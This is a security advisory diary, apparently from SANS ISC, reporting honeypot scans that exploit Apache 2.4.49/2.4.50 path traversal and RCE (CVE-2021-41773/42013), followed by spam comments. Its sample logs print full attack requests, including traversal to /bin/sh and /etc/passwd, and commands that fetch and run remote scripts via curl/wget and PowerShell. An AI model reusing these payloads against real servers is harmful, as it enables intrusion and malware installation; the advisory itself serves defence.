Apache is Actively Scan for CVE-2021-41773 & CVE-2021-42013
Johannes published a diary on this activity last week for an Apache 2.4.49 directory traversal vulnerability where the patch was made available on September 15, 2021. Apache released a new update on October 7, 2021, indicating their advisory for "Path Traversal and Remote Code Execution in Apache HTTP Server 2.4.49 and 2.4.50 (incomplete fix of CVE-2021-41773) (CVE-2021-42013)". The current patched version is 2.4.51.
My honeypot has since captured various types of scans looking for the presence of Apache.
Sample Logs
20211012-225407: 192.168.25.9:80-202.28.250.122:51783 data
POST /icons/%25%25%25332%25%25365%25%25%25332%25%25365/%25%25%25332%25%25365%25%25%25332%25%25365/%25%25%25332%25%25365%25%25%25332%25%25365/%25%25%25332%25%25365%25%25%25332%25%25365/%25%25%25332%25%25365%25%25%25332%25%25365/%25%25%25332%25%25365%25%25%25332%25%25365/%25%25%25332%25%25365%25%25%25332%25%25365/bin/sh HTTP/1.1
Host: XX.XX.42.114
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-type: application/x-www-form-urlencoded
Content-Length: 218
(curl -k -H Host:heuristic-hermann-392016.netlify.app -fsSL https://52.220.244.242/stg_ntf.sh||wget --no-check-certificate --header=Host:heuristic-hermann-392016.netlify.app -q -O- https://52.220.244.242/stg_ntf.sh)|sh'
20211006-034517: 192.168.25.9:443-46.101.59.235:44008 data
GET /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1
Host: XX.XX.42.114
User-Agent: Mozilla/5.0 zgrab/0.x
Accept: */*
Accept-Encoding: gzip
20211013-152703: 192.168.25.9:80-202.28.250.122:42323 data
POST /cgi-bin/.%25%2532e/%25%2532e%25%2532e/%25%2532e%25%2532e/%25%2532e%25%2532e/%25%2532e%25%2532e/%25%2532e%25%2532e/%25%2532e%25%2532e/bin/sh HTTP/1.1
Host: XX.XX.42.114
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-type: application/x-www-form-urlencoded
Content-Length: 145
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring(\'https://heuristic-hermann-392016.netlify.app/stg_ntf.c3.ps1\'))"'
20211016-142000: 192.168.25.9:443-45.146.164.110:48238 data
POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
Host: XX.XX.42.114:443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Content-Length: 33
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
Connection: close
A=|echo;echo -n GTtHWsFXPn|md5sum'
Indicators
heuristic-hermann-392016.netlify.app
23.251.102.74
45.146.164.110
46.101.59.235
52.220.244.242
128.14.134.134
128.14.134.170
128.14.141.34
139.162.215.70
139.162.207.84
143.198.136.88
161.35.188.242
172.105.161.246
185.180.143.71
192.53.170.243
The current fix to this issue is to update to Apache 2.4.51.
[1] https://isc.sans.edu/forums/diary/Apache+2449+Directory+Traversal+Vulnerability+CVE202141773/27908/
[2] https://httpd.apache.org/security/vulnerabilities_24.html
[3] https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-42013
[4] https://twitter.com/h4x0r_dz/status/1445384417908862977?s=20
-----------
Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu
Comments
Anonymous
Dec 3rd 2022
9 months ago
Anonymous
Dec 3rd 2022
9 months ago
<a hreaf="https://technolytical.com/">the social network</a> is described as follows because they respect your privacy and keep your data secure. The social networks are not interested in collecting data about you. They don't care about what you're doing, or what you like. They don't want to know who you talk to, or where you go.
<a hreaf="https://technolytical.com/">the social network</a> is not interested in collecting data about you. They don't care about what you're doing, or what you like. They don't want to know who you talk to, or where you go. The social networks only collect the minimum amount of information required for the service that they provide. Your personal information is kept private, and is never shared with other companies without your permission
Anonymous
Dec 26th 2022
9 months ago
Anonymous
Dec 26th 2022
9 months ago
<a hreaf="https://defineprogramming.com/the-public-bathroom-near-me-find-nearest-public-toilet/"> nearest public toilet to me</a>
<a hreaf="https://defineprogramming.com/the-public-bathroom-near-me-find-nearest-public-toilet/"> public bathroom near me</a>
Anonymous
Dec 26th 2022
9 months ago
<a hreaf="https://defineprogramming.com/the-public-bathroom-near-me-find-nearest-public-toilet/"> nearest public toilet to me</a>
<a hreaf="https://defineprogramming.com/the-public-bathroom-near-me-find-nearest-public-toilet/"> public bathroom near me</a>
Anonymous
Dec 26th 2022
9 months ago
Anonymous
Dec 26th 2022
9 months ago
https://defineprogramming.com/
Dec 26th 2022
9 months ago
distribute malware. Even if the URL listed on the ad shows a legitimate website, subsequent ad traffic can easily lead to a fake page. Different types of malware are distributed in this manner. I've seen IcedID (Bokbot), Gozi/ISFB, and various information stealers distributed through fake software websites that were provided through Google ad traffic. I submitted malicious files from this example to VirusTotal and found a low rate of detection, with some files not showing as malware at all. Additionally, domains associated with this infection frequently change. That might make it hard to detect.
https://clickercounter.org/
https://defineprogramming.com/
Dec 26th 2022
9 months ago
rthrth
Jan 2nd 2023
9 months ago